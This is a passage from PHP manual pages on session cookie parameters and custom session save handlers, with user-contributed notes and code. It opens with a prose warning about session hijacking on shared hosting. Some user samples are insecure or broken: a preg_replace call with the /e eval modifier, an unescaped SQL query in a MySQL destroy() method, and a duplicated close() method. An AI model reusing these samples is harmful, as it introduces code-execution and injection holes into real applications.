* Create a PHP script on their account that grabs and sets session variables for a given session id.
* Read and change any values for that session id (for example passwords or session keys), and therefore gain access to the protected area.

All users on web hosting should choose an dir below the HTTP directory struct, but within their user area to store the session files.
a9504778 at unet dot univie dot ac dot at 15-Jan-2001 12:09
dont forget: if you use session_save_path on the page, that registers a variable, you have also to use session_save_path on all the pages, where you access the session-variable. under win32 you can use the double \\ to specify eg "c:\\temp\\"


Set the session cookie parameters

  • « session_save_path
  • session_set_save_handler »
  • PHP Manual
  • Session Functions
  • Set the session cookie parameters

session_set_cookie_params

(PHP 4, PHP 5)

session_set_cookie_params — Set the session cookie parameters

Description

void session_set_cookie_params ( int $lifetime [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]] )

Set cookie parameters defined in the php.ini file. The effect of this function only lasts for the duration of the script. Thus, you need to call session_set_cookie_params() for every request and before session_start() is called.

This function updates the runtime ini values of the corresponding PHP ini configuration keys which can be retrieved with the ini_get().

Parameters

lifetime

Lifetime of the session cookie, defined in seconds.

path

Path on the domain where the cookie will work. Use a single slash ('/') for all paths on the domain.

domain

Cookie domain, for example 'www.php.net'. To make cookies visible on all subdomains then the domain must be prefixed with a dot like '.php.net'.

secure

If TRUE cookie will only be sent over secure connections.

httponly

If set to TRUE then PHP will attempt to send the httponly flag when setting the session cookie.

Return Values

No value is returned.

Changelog

Version | Description
5.2.0 | The httponly parameter was added.

See Also

  • session.cookie_lifetime
  • session.cookie_path
  • session.cookie_domain
  • session.cookie_secure
  • session.cookie_httponly
  • session_get_cookie_params() - Get the session cookie parameters

User Contributed Notes

passerbyxp at gmail dot com 22-Jun-2012 04:50
One might want to be noted that the browsers are case-sensitive to the $path parameter.

For example, if you do this:
<?php
session_set_cookie_params(0,"/webapp/");
session_start();
?>

and you visit your site in this way:
example.com/WebApp/

You would get a new session on every request.

I'm not sure if this is the standard, but I see this happens on IE 6, Firefox 12 (Palemoon, actually), Chrome 19 (Portable version), and on both IIS and Apache.
werner dot avenant at gmail dot com 19-Jun-2012 05:58
Please take note of the garbage collection "feature" on systems like Ubuntu and Debian.

apt-get installs a cron script at /etc/cron.d/php5 that checks the session.gc_maxlifetime variable and then deletes all old sessions every 9 and 39 minutes.

The problem is: If you set the maxlifetime for a specific virtual host, those settings will be ignored. Lets say you want your server to store sessions for only 30 minutes, but for one special website you want all sessions to be 24 hours. If you set the session.gc_maxlifetime in .htaccess, your apache conf or use ini_set in your code, it won't work and sessions will still be destroyed after 30 minutes. That's because /usr/lib/php5/maxlifetime (found in that cron file) will always return the value in your php.ini, not the values you set in .htaccess.

A workaround is to set the maxlifetime to the maximum your sites require, and then configure a shorter maxlifetime in your .htaccess for those sites that don't need it.

Another solution is to give the php5 file in /etc/cron.d sane values, ie, only let it run at 3am in the morning, but you'll have to remember to block the replacement of this file it every time you update php.
Danack dot Ackroyd at gmail dot com 30-Jun-2011 10:20
Setting the domain for cookies in session_set_cookie_params() only affects the domain used for the session cookie which is set by PHP.

All other cookies set by calling the function setcookie() either:
i) Use the domain set explicitly in the call to setcookie()
or
ii) Don't set the domain at all on the cookie and so the browser assumes it's for the current domain.

So to make all your cookies be available across all sub-domains of your site you need to do this:

<?php
$currentCookieParams = session_get_cookie_params();

$rootDomain = '.example.com';

session_set_cookie_params(
    $currentCookieParams["lifetime"],
    $currentCookieParams["path"],
    $rootDomain,
    $currentCookieParams["secure"],
    $currentCookieParams["httponly"]
);

session_name('mysessionname');
session_start();

setcookie($cookieName, $cookieValue, time() + 3600, '/', $rootDomain);
?>
final dot wharf at gmail dot com 28-Oct-2010 04:42
As PHP's Session Control does not handle session lifetimes correctly when using session_set_cookie_params(), we need to do something in order to change the session expiry time every time the user visits our site. So, here's the problem.

<?php
  $lifetime=600;
  session_set_cookie_params($lifetime);
  session_start();
?>

This code doesn't change the lifetime of the session when the user gets back at our site or refreshes the page. The session WILL expire after $lifetime seconds, no matter how many times the user requests the page. So we just overwrite the session cookie as follows:

<?php
  $lifetime=600;
  session_start();
  setcookie(session_name(),session_id(),time()+$lifetime);
?>

And now we have the same session cookie with the lifetime set to the proper value.
digitalmagnets at gmail dot com 31-Mar-2010 10:36
It appears that if you are setting a session cookie on https://subdomain123.example.com for .example.com that the default of the secure cookie is not false but true.

So your cookie won't work on http://subdomainxyz.example.com unless you set the secure option to false.
jan at dewal dot net 19-Mar-2010 11:42
The information above about this function that it can only be used BEFORE session_start depends on how you use it. Because its also useful AFTER a session has started as follows:

Example you wand to change an already set value of the session cookie expire time:

<?php

 // Here we start as usual
session_set_cookie_params('3600'); // 1 hour
session_start();

// More code...

// Now we found in some database that the user whishes
// the cookie to expire after for example 10 minutes
// we can change it instantly !

session_set_cookie_params('600'); // 10 minutes.
session_regenerate_id(true);

// This will delete old cookie and adopt new expire settings and the
// old cookie variables in a new cookie

?>

Please note i only explained the browser (client) side changes of session cookie's expire time.
Miki 04-Dec-2009 07:13
REMEMBER, that if you have a multi-subdomain site, you must put the following to enable a session id on the whole website:

<?php
session_set_cookie_params(0, '/', '.example.com');
session_start();
?>

Otherwise, you'll have 2 diffrent sessions on e.g. news.example.com and download.example.com
Ashus 18-Nov-2008 04:38
Cross-domain Cookies do work in all browsers (path '/' server '.example.com'), except the case you try it in IE6/7 and the server name is retreived from :etc/hosts: file, in that case the cookie won't be even saved.
Anonymous 14-Aug-2008 08:42
In Response to RC
>23-Apr-2008 04:45
>For anyone looking for which browsers support the HTTPOnly >flag, per my research:
>
>IE 6 SP 1 and higher.
>Firefox 3 and higher.
>Opera 9.50 and higher.

Firefox 2.0 also supports them, but only since version 2.0.0.5.

http://bugzilla.mozilla.org/show_bug.cgi?id=178993
brandan, bildungsroman.org 28-May-2008 05:55
i found it somewhat difficult to work with sessions due to the documentation not really denoting the necessity for the session name to be set via session_name() in order for session_set_cookie_params() to be of any use.  i found no reference to session_name() in this article, and my session functions would have been a disastrous mess were it not for a friend familiar with session.

so, in essence, for anybody wondering about where to start: declare a session name before using session_set_cookie_params(), otherwise you might agitate php to the point of committing some atrocity against your webserver.
RC 23-Apr-2008 04:45
For anyone looking for which browsers support the HTTPOnly flag, per my research:

IE 6 SP 1 and higher.
Firefox 3 and higher.
Opera 9.50 and higher.

As of Safari 3.1.1 (April 2008), Safari did not yet support this flag.

This cookie flag was developed by Microsoft and is slowly making its way into other browsers: http://msdn2.microsoft.com/en-us/library/ms533046.aspx
eddie at roosenmaallen dot com 15-Mar-2008 03:49
Further to "info at xyzsite dot ru" and William Leslie, Safari on OS X also doesn't honour cookies with an underscore in the subdomain.

The workaround I've found is to specify the parent domain as the cookie domain -- instead of "bad_name.example.com", set the path to ".example.com"; it's suboptimal, but gets the job done.
William Leslie 08-Feb-2008 06:32
"Info at xyzsite dot ru" writes that Internet Explorer does not correctly handle cookies whose domain contains an underscore character.

However, There's a good reason for this apparently faulty behavior: the underscore character is forbidden in DNS names.  RFC 3696 says:

"The labels ... that make up a domain name must consist of only the ASCII alphabetic and numeric characters, plus the hyphen.  No other symbols or punctuation characters are permitted, nor is blank space."

If the underscore works in Mozilla or other browsers, it's only because they are being lenient in the validation of domain names.
info at xyzsite dot ru 20-Dec-2007 05:27
Just one more bad situation - cookies in Internet Explorer do not work with '_' in domain name. FF and Opera are O.K. So if your hostname is like test_host.example.com, IE cookies will not function correctly/
dan at vespernet dot co dot uk 02-Nov-2007 08:38
The below note is an excellent example of how to 'reset' the session expiration time upon a page refresh.

However, take care to compensate for when the session expires and doesn't renew itself (a bug I believe). If the below example is run every time a script is executed, it will give an 'Undefined index <session name> error' after the session fails to renew. Precede it with and if isset() condition.

<?php
private function startSession($time = 3600, $ses = 'MYSES') {
    session_set_cookie_params($time);
    session_name($ses);
    session_start();

    // Reset the expiration time upon page load
    if (isset($_COOKIE[$ses]))
      setcookie($ses, $_COOKIE[$ses], time() + $time, "/");
}
?>

The above example states that a session will last an hour without a page refresh until it is scrapped. Upon a page refresh, the expiration time is reset back to one hour again. If you wish to give users the option of 'staying logged in forever', just feed startSession a value of '99999999', which should last about 3 years.
jordi at jcanals dot net 15-Nov-2004 02:39
Something that has taken me some time to debug: session_set_cookie_params() does not work when the domain param is just a one level domain, like it was a TLD.

I have a site in an intranet and our internal domain is .local, so trying to set the cookie session to the .local domain does not work:

session_set_cookie_params(0, '/', '.local'); // Does not work

In all test I've done, setting the domain only works for SLDs and above:

session_set_cookie_params(0 , '/', '.sld.local'); Does work

This is nothing to do with PHP but the http protocol, witch does not permit setting cookies for TLDs for obvious security reasons.
shrockc at inhsNO dot SPAMorg 19-Jun-2002 06:19
when setting the path that the cookie is valid for, always remember to have that trailing '/'.

CORRECT:
session_set_cookie_params (0, '/yourpath/');

INCORRECT:
session_set_cookie_params (0, '/yourpath');

no comment on how long it took me to realize that this was the cause of my authentication/session problems...
gavin_spam at skypaint dot com 26-Feb-2002 11:58
The first argument to session_set_cookie_params is the number of seconds in the future (based on the server's current time) that the session will expire.  So if you want your sessions to last 100 days:

$expireTime = 60*60*24*100; // 100 days
session_set_cookie_params($expireTime);

I was using time()+$expireTime, which is WRONG (a lot of the session_set_cookie_params() examples I found get this wrong, but probably don't care because they are just doing "infinite" sessions).
php at mike2k dot com 09-May-2001 11:16
[Editor's Note:

Rasmus' Solution from the PHP-General list:

Just use a session cookie (by not providing an expiry time) and add the
server's expiry timestamp to the value of the cookie.  Then when you get
that cookie sent to you, check it against your server's time and make the
decision on whether to accept the cookie or not based on that.

That way you are immune from people not having their system clocks set
right.

-Rasmus

--zak@php.net]

A couple things I noticed when using this. I think it only works if you set the session_set_cookie_params() function BEFORE the session_start() function.

Also, when you set the "lifetime" on the cookie, it takes the seconds offset from the SERVER. it sends the cookie encoded to timeout at the SERVER time. So if your server is +2 minutes ahead of the client, and you set the cookie to timeout after 30 seconds, the client actually has 2 minutes and 30 seconds before the cookie times out. I don't know if there's any way that this can be patched in future versions, and the only alternative I think is setting cookies in javascript, which is hardly the point when using all these specific session functions.


Sets user-level session storage functions

  • « session_set_cookie_params
  • session_start »
  • PHP Manual
  • Session Functions
  • Sets user-level session storage functions

session_set_save_handler

(PHP 4, PHP 5)

session_set_save_handler — Sets user-level session storage functions

Description

bool session_set_save_handler ( callable $open , callable $close , callable $read , callable $write , callable $destroy , callable $gc [, callable $create_sid ] )

Since PHP 5.4 it is possible to register the following prototype:

bool session_set_save_handler ( SessionHandlerInterface $sessionhandler [, bool $register_shutdown = true ] )

session_set_save_handler() sets the user-level session storage functions which are used for storing and retrieving data associated with a session. This is most useful when a storage method other than those supplied by PHP sessions is preferred. i.e. Storing the session data in a local database.

Parameters

This function has two prototypes.

sessionhandler

An instance of a class implementing SessionHandlerInterface, such as SessionHandler, to register as the session handler. Since PHP 5.4 only.

register_shutdown

Register session_write_close() as a register_shutdown_function() function.

or
open(string $savePath, string $sessionName)

The open callback works like a constructor in classes and is executed when the session is being opened. It is the first callback function executed when the session is started automatically or manually with session_start(). Return value is TRUE for success, FALSE for failure.

close()

The close callback works like a destructor in classes and is executed after the session write callback has been called. It is also invoked when session_write_close() is called. Return value should be TRUE for success, FALSE for failure.

read(string $sessionId)

The read callback must always return a session encoded (serialized) string, or an empty string if there is no data to read.

This callback is called internally by PHP when the session starts or when session_start() is called. Before this callback is invoked PHP will invoke the open callback.

The value this callback returns must be in exactly the same serialized format that was originally passed for storage to the write callback. The value returned will be unserialized automatically by PHP and used to populate the $_SESSION superglobal. While the data looks similar to serialize() please note it is a different format which is speficied in the session.serialize_handler ini setting.

write(string $sessionId, string $data)

The write callback is called when the session needs to be saved and closed. This callback receives the current session ID a serialized version the $_SESSION superglobal. The serialization method used internally by PHP is specified in the session.serialize_handler ini setting.

The serialized session data passed to this callback should be stored against the passed session ID. When retrieving this data, the read callback must return the exact value that was originally passed to the write callback.

This callback is invoked when PHP shuts down or explicitly when session_write_close() is called. Note that after executing this function PHP will internally execute the close callback.

Note:

The "write" handler is not executed until after the output stream is closed. Thus, output from debugging statements in the "write" handler will never be seen in the browser. If debugging output is necessary, it is suggested that the debug output be written to a file instead.

destroy($sessionId)

This callback is executed when a session is destroyed with session_destroy() or with session_regenerate_id() with the destroy parameter set to TRUE. Return value should be TRUE for success, FALSE for failure.

gc($lifetime)

The garbage collector callback is invoked internally by PHP periodically in order to purge old session data. The frequency is controlled by session.gc_probability and session.gc_divisor. The value of lifetime which is passed to this callback can be set in session.gc_maxlifetime. Return value should be TRUE for success, FALSE for failure.

create_sid()

This callback is executed when a new session ID is required. No parameters are provided, and the return value should be a string that is a valid session ID for your handler.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Custom session handler: see full code in SessionHandlerInterface synposis.

The following code is for PHP version 5.4.0 and above. We just show the invokation here, the full example can be seen in the SessionHandlerInterface synposis linked above.

Note we use the OOP prototype with session_set_save_handler() and register the shutdown function using the function's parameter flag. This is generally advised when registering objects as session save handlers.

<?php
class MySessionHandler implements SessionHandlerInterface
{
    // implement interfaces here
}

$handler = new MySessionHandler();
session_set_save_handler($handler, true);
session_start();

// proceed to set and retrieve values by key from $_SESSION

Example #2 Custom session save handler using objects

The following code is for PHP versions less than 5.4.0.

The following example provides file based session storage similar to the PHP sessions default save handler files. This example could easily be extended to cover database storage using your favorite PHP supported database engine.

Note we additionally register the shutdown function session_write_close() using register_shutdown_function() under PHP less than 5.4.0. This is generally advised when registering objects as session save handlers under PHP less than 5.4.0.

<?php
class FileSessionHandler
{
    private $savePath;

    function open($savePath, $sessionName)
    {
        $this->savePath = $savePath;
        if (!is_dir($this->savePath)) {
            mkdir($this->savePath, 0777);
        }

        return true;
    }

    function close()
    {
        return true;
    }

    function read($id)
    {
        return (string)@file_get_contents("$this->savePath/sess_$id");
    }

    function write($id, $data)
    {
        return file_put_contents("$this->savePath/sess_$id", $data) === false ? false : true;
    }

    function destroy($id)
    {
        $file = "$this->savePath/sess_$id";
        if (file_exists($file)) {
            unlink($file);
        }

        return true;
    }

    function gc($maxlifetime)
    {
        foreach (glob("$this->savePath/sess_*") as $file) {
            if (filemtime($file) + $maxlifetime < time() && file_exists($file)) {
                unlink($file);
            }
        }

        return true;
    }
}

$handler = new FileSessionHandler();
session_set_save_handler(
    array($handler, 'open'),
    array($handler, 'close'),
    array($handler, 'read'),
    array($handler, 'write'),
    array($handler, 'destroy'),
    array($handler, 'gc')
    );

// the following prevents unexpected effects when using objects as save handlers
register_shutdown_function('session_write_close');

session_start();
// proceed to set and retrieve values by key from $_SESSION

Notes

Warning

When using objects as session save handlers, it is important to register the shutdown function with PHP to avoid unexpected side-effects from the way PHP internally destroys objects on shutdown and may prevent the write and close from being called. Typically you should register 'session_write_close' using the register_shutdown_function() function.

As of PHP 5.4.0 you can use session_register_shutdown() or simply use the 'register shutdown' flag when invoking session_set_save_handler() using the OOP method and passing an instance that implements SessionHandlerInterface.

Warning

As of PHP 5.0.5 the write and close handlers are called after object destruction and therefore cannot use objects or throw exceptions. Exceptions are not able to be caught since will not be caught nor will any exception trace be displayed and the execution will just cease unexpectedly. The object destructors can however use sessions.

It is possible to call session_write_close() from the destructor to solve this chicken and egg problem but the most reliable way is to register the shutdown function as described above.

Warning

Current working directory is changed with some SAPIs if session is closed in the script termination. It is possible to close the session earlier with session_write_close().

Changelog

Version | Description
5.5.1 | Added the optional create_sid parameter.
5.4.0 | Added SessionHandlerInterface for implementing session handlers and SessionHandler to expose internal PHP session handlers.

See Also

  • The session.save_handler configuration directive
  • The session.serialize_handler configuration directive.
  • The register_shutdown_function() - Register a function for execution on shutdown
  • The session_register_shutdown() - Session shutdown function for PHP 5.4.0+

User Contributed Notes

Steven George 17-Feb-2014 11:05
Note that as well as destructing objects before calling write() and close(), it seems PHP also destroys classes.  That is, you can't even call a static method of an external class in the write() and close() handlers - PHP will issue a Fatal error stating "Class xxxx not found"
cmanley 22-Aug-2013 12:20
Below is a session id value validator I just wrote. It is especially important to validate session id cookie values when using a custom file based validator, otherwise hackers could potentially trick it into overwriting non-session files.

/**
* Validates the value (the session id) of a session cookie.
* Useful for detecting potential hack attempts.
* It is up to the caller to delete the cookie if necessary.
* See also: http://lxr.php.net/xref/PHP_TRUNK/ext/session/session.c#php_session_valid_key
*
* @param string $value
* @param boolean $debug
* @return boolean
*/
function session_validate($cookie_value, $debug = false) {
    // session.hash_function allows you to specify the hash algorithm used to generate the session IDs. '0' means MD5 (128 bits) and '1' means SHA-1 (160 bits). Since PHP 5.3.0 it is also possible to specify any of the algorithms provided by the hash extension (if it is available), like sha512 or whirlpool. A complete list of supported algorithms can be obtained with the hash_algos() function.
    // session.hash_bits_per_character allows you to define how many bits are stored in each character when converting the binary hash data to something readable. The possible values are '4' (0-9, a-f), '5' (0-9, a-v), and '6' (0-9, a-z, A-Z, "-", ",").
    if (!(isset($cookie_value) && is_string($cookie_value) && strlen($cookie_value))) {
        return false;
    }
    $bits = null;
    if (1) {
        $hash_function = ini_get('session.hash_function');
        $hash_function_to_bits = array(
            0    => 128,
            1    => 160,
        );
        $bits = @$hash_function_to_bits[$hash_function];
    }
    $bits_per_char = ini_get('session.hash_bits_per_character');
    $bits_per_char_to_charclass = array(
        4    => '0-9a-f',
        5    => '0-9a-v',
        6    => '0-9a-zA-Z\-,',    // this is also the default
    );
    $charclass = array_key_exists($bits_per_char, $bits_per_char_to_charclass) ? $bits_per_char_to_charclass[$bits_per_char] : $bits_per_char_to_charclass[6];
    $charlength = $bits ? (integer)ceil($bits / $bits_per_char) : '1,128'; // the last value is a somewhat arbitrary default
    $re = '/^[' . $charclass . ']{' . $charlength . '}$/';
    $result = preg_match($re, $cookie_value);
    $debug && error_log(__FUNCTION__ . ' regexp: ' . $re . "\tresult: " .intval($result));
    return $result;
}
jamesbenson944 at hotmail dot com 04-Jul-2013 06:29
I'm not using objects for the save handlers I'm using functions but still get weird behaviour with session writing not being called.

This fixes the problem though:
register_shutdown_function('session_write_close');
Cloudranger 07-Jun-2012 02:46
Ever since we upgraded to PHP 5.3 we have had issues with session storage using files.

Regularly when session garbage collection was triggered, permissions errors would be thrown.

This is due to the fact that garbage collection is triggered by visitors to a website based on the session.gc_probability and session.gc_divisor settings which factor the chance of garbage collection running.

As these processes are owned by Apache but the directory in which the files reside is owned and readable only by root, the Apache processes clearly cannot list the files in the session directory to work out what to delete.

Changing the ownership and permissions on the directory is a no-no for security reasons, which leaves you with the option of turning off PHP based garbage collection and writing your own, or moving away from using files.

For some reason, when we turned off garbage (session.gc_probability = 0) the garbage collection still ran anyway, so we decided to move away from files.

The initial approach which most people on php.net seem to take is to write a custom session handler class in PHP using MySQL, which is not a bad approach as you can use a memory based MySQL table to gain performance.  However it requires you to write code, and also to modify your website to put in the session handler override code.  If you have lots of website to change this is out of the question.

The simplest solution we found, which in the end took about 2 minutes in total, and immediately worked for all websites on the server, was to use sqlite.

Some PHP installations already have SQLite installed and when you run php -i on the command line it shows sqlite as a "Registered save handler".

If sqlite is not installed as a registered save handler, you need to install it. On CentOS/RHEL this was simply a case of the following command: yum install php-sqlite.  Once done, check the registered save handlers again with the php -i command.

Once sqlite shows as a registered save handler, you simply have to edit your php.ini file to change the following two settings:

OLD VALUES:
session.save_handler = files
session.save_path = /var/lib/php/session

NEW VALUES:
session.save_handler = sqlite
session.save_path = /path/to/directory/containing/sqllite/database/phpsession.sdb

The path above and the name of the database are entirely configurable by you.

PHP will create the database itself, but the directory must exist and be accessible.

Once you have made these changes, simply bounce Apache with apachectl graceful or apachectl restart

Note that any users on your server will have their sessions reset.
Rusty X 07-Mar-2012 06:39
It is important to understand that PHP's default file-based session handling LOCKS the session file, inherently allowing ONLY ONE thread handling any given session at a time.
When you implement a DB-backed session storage and you do not do any locking, you may run into situations where more than one thread is serving the same session, and you may LOSE DATA because the second thread will overwrite any session changes done by the first thread.
You should therefore think about locking the session somehow if you want to have the exact same behavior as with the default file-based implementation. For example, with InnoDB you could do a SELECT ... FOR UPDATE, or you can use the GET_LOCK() function.
pavelc at users dot sourceforge dot net 11-Jul-2011 01:21
I write a class that unites whole handler functionality. It's not even needed to save instances of this class in variables. Just add a row:
<?php
new SessionSaveHandler();
?>
and the handler will rule the sessions ;-)
<?php

class SessionSaveHandler {
    protected $savePath;
    protected $sessionName;

    public function __construct() {
        session_set_save_handler(
            array($this, "open"),
            array($this, "close"),
            array($this, "read"),
            array($this, "write"),
            array($this, "destroy"),
            array($this, "gc")
        );
    }

    public function open($savePath, $sessionName) {
        $this->savePath = $savePath;
        $this->sessionName = $sessionName;
        return true;
    }

    public function close() {
        // your code if any
        return true;
    }

    public function read($id) {
        // your code
    }

    public function write($id, $data) {
        // your code
    }

    public function destroy($id) {
        // your code
    }

    public function gc($maxlifetime) {
        // your code
    }
}

new SessionSaveHandler();

?>
lukas.starecek 23-May-2011 02:12
I have solved problem with session handler, which needs some other objects (for example DB access object), with register_shutdown_function. Just calling

<?php

register_shutdown_function('session_write_close');

?>

solved my problem. Shutdown functions are called before object destructors.

If you use class for session handling (my prefered way), you can call register_shutdown_function in constructor and you must not mess your code in another place.

Example:

<?php

class SessionHandler {

    protected $_db;

    public function __construct(PDO $db) {
        $this->_db = $db;
        register_shutdown_function('session_write_close');
    }

    function open($save_path, $session_name) {
    }

    function close() {
    }

    function read($id) {
    }

    function write($id, $sess_data) {
    }

    function destroy($id) {
    }

    function gc($maxlifetime) {
    }
}

?>
frank at interactinet dot com 22-Mar-2011 10:37
I had trouble with committing session data.
To "commit and continue" without closing your session, put this at the top of your "write" method:

<?php

$id = session_id();
session_write_close();
session_id($id);
session_start();

?>

Note that ANY time php generates a new session id, it is not automatically updated in a database. This can be helpful:

<?php

public function resetSessionId()
{
    $old = session_id();
    session_regenerate_id();
    $new = session_id();
    SessionHandler::regenerate_id($old,$new);
}

public function regenerate_id($old,$new)
{
    $db = mysqli->connect(...);

    $db->query('UPDATE sessions SET session_id = \''.$db->escape_string($new).'\'
    WHERE session_id = \''.$db->escape_string($old).'\'');
}
?>
dummynick at gmail dot com 24-May-2010 05:37
I was getting Fatal error: Exception thrown without a stack frame and it took days to figure out the reason. I am using memcache to store sessions and in my custom class I use Memcache class in write method.

I put the code in the write method inside try-catch block and it solved my problem.
bart2yk at yahoo dot com 22-Jan-2010 10:57
You can call the session_write in db object destructor to be shore that you still have a connection to mysql and the session is write.
joel the usual at sign then purerave.com 04-Dec-2009 07:53
When storing sessions in a DB, it's usually beneficial to use an existing custom DB object, but this creates problems with the latest version of PHP 5.3.1. This used to work fine on PHP 5.2.x (Linux and Windows).

The problem now is that session_write_close() is not automatically called when execution ends, but rather after all the objects have been destructed, including the DB object!

There are two ways around this, either manually calling session_write_close() at the end of your script(s), or not using the DB object.

I'm sure this is the intended behavior from the beginning.
skds1433 at hotmail dot com 03-Aug-2009 12:21
I pulled a really stupid move. If you are trying to debug your garbage collector, make sure you call the following >>> BEFORE <<< "session_start":

<?php
ini_set('session.gc_probability', 100);
ini_set('session.gc_divisor', 100);
?>

I was sure it was a bug in PHP, but turned out (like 99% of the time) to be me own fault.
foddex at foddex dot net 08-Jun-2009 10:01
A quick note for people having problems storing binary session data. Using prepared statements solves all your quote-related issues! Start reading here http://php.net/manual/en/mysqli-stmt.prepare.php for more information!
yangqingrong at gmail dot com 22-Apr-2009 06:44
session_set_save_handler is used before session_start.if your session is setted as auto start. it will return FALSE value.so you need add session_write_close() before session_set_save_handler to cancel the session's auto start.it  likes this:

<?php
/*
qq:290359552
*/
session_write_close(); //cancel the session's auto start,important

function open()
{
   ...
}
....
session_set_save_handler( ... );
session_start();
?>
harald at hholzer at 13-Mar-2009 07:40
after spending 8 hours to find out whats going on..

just for the records, because php.net ignore the real world out there:

debian 5 installs by default the php-suhosin module, which changes the behavior of session_set_save_handler read/write function.

on calling the session write function the session data will be encrypted, and the returning string from the read function are decrypted and verified.

the encrypted data is no more compatible with session_encode/session_decode.

and breaks by default, subdomain handling and multiple host setups where different document roots are used.

for futher information look at:
http://www.hardened-php.net/suhosin/configuration.html

session sample data (debian 4):
test|s:3:"sdf";

session sample data (debian 5, with php-suhosin):
3GdlPEGr2kYgRFDs-pUSoKomZ4fN7r5BM5oKOCMsWNc...

i thing the suhosin patch should report a warning in case of invalid session data, to get a clue whats going wrong.
e dot sand at elisand dot com 05-Mar-2009 08:42
The "binary" data that is in the session data appears to surround class/object names, and if you pass your session data through a function to sanitize it for SQL injection, you may indeed run in to problems.

For example, using the PDO::quote() function to prepare the data for injection (in my case for SQLite3), it was stopping short as soon as it encountered the first bit of binary data, causing my session information to be corrupted.

This change *must* have happened somewhere in the 5.2 series, because I just started encountering this problem recently on a code base that had been tested & working on earlier versions of PHP 5.2.

This may in fact be a bug - I have not yet checked... but beware, and perhaps using base64 to encode/decode your session data is a good thing to do just to be sure (though you are now left unable to visually inspect serialized session information at the storage level which is a rather big problem for on-the-fly debugging of sessions).
anonymous at anonymous dot org 06-Oct-2008 09:11
if you simply append the information from session variables every time you'll have many multiples for variables each time they are changed. a simple way to do this is explode the data twice to seperate the variable name from the other relevant information and foreach() check against the stored set. here is a little bit of a mess i wrote to do it.
assuming stored session variables in both database and passed through function:

<?php
$buffer = array();
$buffer = explode('|',$sessiondata);
$buf1 = array();
$buf2 = array();
$finalbuff = '';
foreach($buffer as $i){
    $i = explode(';',$i);
    foreach($i as $b){
        array_push($buf1,$b);
    }
}
$buffer = explode('|',$result['data']);
foreach($buffer as $i){ $i = explode(';',$i); foreach($i as $b){ array_push($buf2,$b);}}
$z = 0;
$x = 0;
while($buf2[$z]){
    while($buf1[$x]){
        if($buf2[$z] == $buf1[$x]){
            $buf2[($z+1)] = $buf1[($x+1)];
        }
        $x+=2;
    }
    $z+=2;
}
foreach($buf2 as $i){ $finalbuff .= $i; }
?>

$sessiondata is the variable passed through the function and $result['data'] is the data stored in an sql database.
james at dunmore dot me dot uk 13-Aug-2008 03:31
If your using database session handler and your database is in UTF8, but you happen to have a script running in IS0-8859 that tries to put symbols such as £ signs into the database - then the session will corrupt and data will go missing.

You can either - make sure you never put special characters into the session, or - more helpful, do this in your 'write' function

<?php

public static function write( $key, $val )
        {
            $val = utf8_encode( $val );

            $val = preg_replace( '!s:(\d+):"(.*?)";!se', "'s:'.strlen('$2').':\"$2\";'", $val );

               //......

?>

probably an overhead on this, but less overhead than loosing data.

You could also use WDDX for storing sessions I suppose
tomas at slax dot org 08-Jul-2008 04:00
Regarding the SAPIs: The warning mentioned in function's description (that the Current working directory is changed with some SAPIs) is very important.

It means that if your callback 'write' function needs to write to a file in current directory, it will not find it. You have to use absolute path and not rely upon the current working directory.

I thought this warning applies only to some strange environments like Windows, but it happens exactly on Linux + Apache 2.2 + PHP 5.
anddriga at gmail dot com 09-May-2008 07:44
Some PHP code for memcached session handler.

<?php
class SessionHadler
{
    private static $lifetime = 0;

    public static function open()
    {
        self::$lifetime = ini_get('session.gc_maxlifetime');

        return true;
    }

    public static function read($id)
    {
        return memcached::get("sessions/{$id}");
    }

    public static function write($id, $data)
    {
        return memcached::set("sessions/{$id}", $data, self::$lifetime);
    }

    public static function destroy($id)
    {
        return memcached::delete("sessions/{$id}");
    }

    private function __construct(){}
    public static function gc(){ return true; }
    public static function close(){    return true; }
    public function __destruct()
    {
        session_write_close();
    }
}
?>
james at enginecreative dot co dot uk 07-Apr-2008 12:22
With regards to db session handling:

Remember if you use the REPLACE INTO method to have your session key as the primary key otherwise you will end up with duplicate records in your table.

http://dev.mysql.com/doc/refman/5.0/en/replace.html
james dot ellis at gmail dot com 04-Apr-2008 12:39
When writing your own session handler, particularly database session handlers, play close attention to garbage cleanup and how it could affect server load.

To pick a round number example:

If you have 1000 requests per minute on session enabled pages, everyone needs a session started but the session garbage cleanup does not need to run every request. Doing so would cause unrequired queries on the database server.

In this example, setting your probability/divisor to 1/1000 would be sufficient to clean up old sessions at a minimum once a minute. If you don't need that kind of granularity, increase the gc divisor.

Finding the tradeoff between clearing up old sessions and server load is the important aspect here.
maria at junkies dot jp 09-Dec-2007 03:51
blow example and ta summary of these comments.
and using the simple native functions of mysql.

<?php
class Session
{

    /**
     * a database connection resource
     * @var resource
     */
    private $_sess_db;

    /**
     * Open the session
     * @return bool
     */
    public function open() {

        if ($this->_sess_db = mysql_connect(SESSION_DB_HOST,
                                            SESSION_DB_USER,
                                            SESSION_DB_PASS)) {
            return mysql_select_db(SESSION_DB_DATABASE, $this->_sess_db);
        }
        return false;

    }

    /**
     * Close the session
     * @return bool
     */
    public function close() {

        return mysql_close($this->_sess_db);

    }

    /**
     * Close the session
     * @return bool
     */
    public function close() {

        return mysql_close($this->_sess_db);

    }

    /**
     * Read the session
     * @param int session id
     * @return string string of the sessoin
     */
    public function read($id) {

        $id = mysql_real_escape_string($id);
        $sql = sprintf("SELECT `data` FROM `sessions` " .
                       "WHERE id = '%s'", $id);
        if ($result = mysql_query($sql, $this->_sess_db)) {
            if (mysql_num_rows($result)) {
                $record = mysql_fetch_assoc($result);
                return $record['data'];
            }
        }
        return '';

    }

    /**
     * Write the session
     * @param int session id
     * @param string data of the session
     */
    public function write($id, $data) {

        $sql = sprintf("REPLACE INTO `sessions` VALUES('%s', '%s', '%s')",
                       mysql_real_escape_string($id),
                       mysql_real_escape_string($data),
                       mysql_real_escape_string(time()));
        return mysql_query($sql, $this->_sess_db);

    }

    /**
     * Destoroy the session
     * @param int session id
     * @return bool
     */
    public function destroy($id) {

        $sql = sprintf("DELETE FROM `sessions` WHERE `id` = '%s'", $id);
        return mysql_query($sql, $this->_sess_db);

}

    /**
     * Garbage Collector
     * @param int life time (sec.)
     * @return bool
     * @see session.gc_divisor      100
     * @see session.gc_maxlifetime 1440
     * @see session.gc_probability    1
     * @usage execution rate 1/100
     *        (session.gc_probability/session.gc_divisor)
     */
    public function gc($max) {

        $sql = sprintf("DELETE FROM `sessions` WHERE `timestamp` < '%s'",
